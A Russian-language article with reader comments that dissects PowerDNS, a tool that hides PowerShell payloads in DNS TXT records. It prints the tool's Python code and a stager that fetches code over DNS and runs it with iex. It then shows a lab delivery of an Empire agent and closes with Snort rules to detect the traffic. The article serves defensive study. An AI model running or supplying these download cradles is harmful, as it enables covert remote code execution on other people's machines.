В данной статье мы поговорим о новом инструменте, позволяющем передавать Powershell скрипты на целевую машину внутри DNS пакетов с целью сокрытия трафика. Разберем, как работает PowerDNS и как защититься от подобных атак.

Разбор кода


Инструмент можно скачать на официальном GitHub.

После клонирования репозитория внутри вы найдете файл powerdns.py. Из этого скрипта, написанного на python, по сути, и состоит весь инструмент. Давайте разберем, что он делает.

Изучим раздел import

import scapy, sys
from scapy.all import *
import base64
import signal
import argparse

Сразу обращаем внимание на то, что PowerDSN использует scapy для работы с сетевыми пакетами.

Далее нам требуется задать интерфейс для прослушивания. Обратите внимание, что эту опцию нельзя задать через параметры командной строки.

INTERFACE = 'eth0'
chunks = []
domain = ''

Далее идут описания функций проверки корректности запуска — validate_args(), показ баннера из файла banner.txt — show_banner(), их мы разбирать не будем.

Следующая функция более интересна — base64_file(file).

def base64_file(file):
    try:
        with open(file, "rb") as powershell_file:
            encoded_string = base64.b64encode(powershell_file.read())
        return encoded_string
    except:
        print("\033[1;34m[*] PowerDNS:\033[0;0m Error opening file")
        sys.exit(-1)

Она открывает файл, который мы передаем в параметрах при запуске и кодирует его содержимое в Base64.

Далее описывается функция get_chunks(file)

def get_chunks(file):
    tmp_chunks = []
    encoded_file = base64_file(file)
    for i in range(0,len(encoded_file), 250):
        tmp_chunks.append(encoded_file[i:i+250])
    return tmp_chunks

Которая разбивает Base64 пейлоад, полученный с помощью функции base64_file на части по 250 символов.

Далее идет основная функция, выполняющая корректную отправку пейлоада внутри DNS пакетов — powerdnsHandler(data)

def powerdnsHandler(data):
    if data.haslayer(DNS) and data.haslayer(DNSQR):
        global chunks
        ip = data.getlayer(IP)
        udp = data.getlayer(UDP)
        dns = data.getlayer(DNS)
        dnsqr = data.getlayer(DNSQR)

        print('\033[1;34m[*] PowerDNS:\033[0;0m Received DNS Query for %s from %s' % (dnsqr.qname, ip.src))

Если скрипт получает DNS пакет, то в консоли отображается строка вида «Received DNS Query for...»

          if len(dnsqr.qname) !=0 and dnsqr.qtype == 16:
            try:
                response = chunks[int(dnsqr.qname.split('.')[0])]
            except:
                return
            rdata=response
            rcode=0
            dn = domain
            an = (None, DNSRR(rrname=dnsqr.qname, type='TXT', rdata=rdata, ttl=1))[rcode == 0]
            ns = DNSRR(rrname=dnsqr.qname, type="NS", ttl=1, rdata="ns1."+dn)
            forged = IP(id=ip.id, src=ip.dst, dst=ip.src) /UDP(sport=udp.dport, dport=udp.sport) /  DNS(id=dns.id, qr=1, rd=1, ra=1, rcode=rcode, qd=dnsqr, an=an, ns=ns)
            send(forged, verbose=0, iface=INTERFACE)

Если тип запрашиваемой записи TXT (см. Типы ресурсных записей DNS) то отправляется часть пейлоада (chunks[int(dnsqr.qname.split('.')[0])]) внутри DNS пакета, причем та часть, номер которой был в запросе dnsqr.qname.

Далее идет основное тело программы

try:
    show_banner()
    args = validate_args()
    signal.signal(signal.SIGINT, signal_handler)
    chunks = get_chunks(args.file)
    domain = args.domain

Здесь проверяется корректность запуска и читаются значения параметров.

Затем мы видим интересную строку с переменной STAGER_CMD

STAGER_CMD = "for ($i=1;$i -le %s;$i++){$b64+=iex(nslookup -q=txt -timeout=3 $i'.%s')[-1]};iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64))))" % (str(len(chunks)), domain)

Это загрузчик powershell скрипта, который мы передали в параметрах запуска. Именно этот скрипт будет передан целевой машине первым. При выполнении этого скрипта, PowerShell будет циклически выполнять команды вида

nslookup -q=txt -timeout=3 0.domain.com
nslookup -q=txt -timeout=3 1.domain.com
nslookup -q=txt -timeout=3 2.domain.com
...

И таким образом получать пейлоад по частям, которые хранятся в переменной chunks.

Далее пользователю отображается, на сколько частей был разбит выбранный powershell скрипт. После этого на нулевой индекс в список вставляется Download Cradle скрипт STAGER_CMD.

    print("\033[1;34m[*] PowerDNS:\033[0;0m Splitting %s in to %s chunk(s)" % (args.file, str(len(chunks))))
    chunks.insert(0,STAGER_CMD)

Чтобы посмотреть на какие части был разбит наш скрипт, можно вставить после chunks.insert

for j in chunks:
        print chunks.index(j)
        print j

Пользователю будет отображена команда, которую нужно выполнить на целевой машине

    print("\033[1;34m[*] PowerDNS:\033[0;0m Use the following download cradle:\n\033[1;34m[*] PowerDNS:\033[0;0m powershell \"powershell (nslookup -q=txt -timeout=5 0.%s)[-1]\"" % (domain))

Это команда вида

powershell "powershell (nslookup -q=txt -timeout=5 0.domain.com)[-1]"

Т.е. Powershell получит Download Cradle код через запрос TXT записи к 0.domain.com (STAGER_CMD хранится под нулевым индексом), выполнит его и запустит цикл получения основного скрипта в Base64. Мы используем [-1] так как нам нужно передать в PowerShell интерпретатор именно Download Cradle, а не имя DNS сервера и т.п. В вашем случае, возможно, придется использовать другую строку, чтобы передать в PowerShell правильную часть ответа от nslookup.

И последние строки кода запускают прослушивание DNS запросов на выбранном интерфейсе. При получении запроса, вызывается функция powerdnsHandler

while True:
		mSniff = sniff(filter="udp dst port 53", iface=INTERFACE, prn=powerdnsHandler)
except Exception as e:
    sys.exit(-1)

Если у Вас что-то не работает, я бы дополнил код, строкой print(e) перед sys.exit, чтобы видеть ошибки выполнения.

Практический пример



В качестве полезной нагрузки, т.е. основного powershell скрипта, я буду использловать Powershell Empire стейджер.

Создаю листнер



Генерирую код стейджера и помещаю его в файл payload.ps1



Я должен запустить powerdns.py на авторитативном DNS сервере, зону которого контролирую.
В моей тестовой инфраструктуре я использую домен sub.secret.lab. Запускаем на этой машине PowerDNS

python powerdns.py --file payload.ps1 --domain sub.secret.lab

Теперь я должен выполнить Download Cradle на удаленной машине



После выполнения powershell команды я начинаю видеть следующие записи в консоли PowerDNS

[*] PowerDNS: Use the following download cradle:
[*] PowerDNS: powershell "powershell (nslookup -q=txt -timeout=5 0.sub.secret.lab)[-1]"
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 0.sub.secret.lab. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 1.sub.secret.lab. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 2.sub.secret.lab. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.sub.secret.lab. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
...

Если запустить сниффер wireshark и изучить DNS пакеты, то мы увидим следующее



Запрос



И ответ (Download Cradle, который возвращается при запросе к 0.sub.secret.lab)



После получения последней части скрипта, видим сообщение в PowerShell Empire об успешном подключении агента



И, как видим, он рабочий



Защита


Для блокирования конкретно этого скрипта можно искать в DNS запросах сигнатуру Download Cradle-а, т.е. что-то похожее на

for ($i=1;$i -le 19;$i++){$b64+=iex(nslookup -q=txt -timeout=3 $i'.sub.secret.lab'

Правило для сетевой IPS Snort 2.X может выглядеть примерно так

drop udp any 53 <> any any (content: "| 7b 24 62 36 34 2b 3d 69 65 78 28 |"; msg:"PowerDNS Detected!"; sid:10000002; rev:001;)

Результат







Однако Download Cradle может быть более сложным и быть подвергнут обфускации, например при помощи Invoke-CradleCrafter. Тогда такое правило не сработает.

В этом случае можно обращать внимание на превышение порогового числа DNS запросов типа TXT, используя подобное правило

alert udp any any -> any 53 (msg:"High TXT requests - Potential DNS Tunneling"; content:"|00 00 10 00 01|"; offset:12; threshold: type threshold, track by_src, count 3, seconds 30; sid: 1000003; rev: 001;)

Результат



Нужно иметь в виду, что DNS туннели могут использовать не только тип записи TXT, поэтому данные примеры демонстрируют защиту конкретно от инструмента PowerDNS. Инструментов для создания DNS туннелей достаточно много, поэтому для эффективной защиты рекомендуется убедиться, что ваши правила защищают инфраструктуру от всех типов туннелей.

Комментарии (5)


  1. etozhegdr
    06.09.2017 15:47

    Хорошее время публикации.


    1. Germanets
      06.09.2017 20:12

      У них большинство постов выходило именно в это время)


  1. Alukardd
    06.09.2017 19:54
    +2

    Вот так взяли и опорочили имя приличного DNS сервера…


    1. antgorka Автор
      06.09.2017 21:13

      Да, тоже об этом подумал :) Думаю, они не специально.


  1. nvv
    07.09.2017 08:29

    Вместо TXT встречается использование ответа IPv6, чтобы меньше привлекать внимания и по возможности больше данных вместить в один ответ.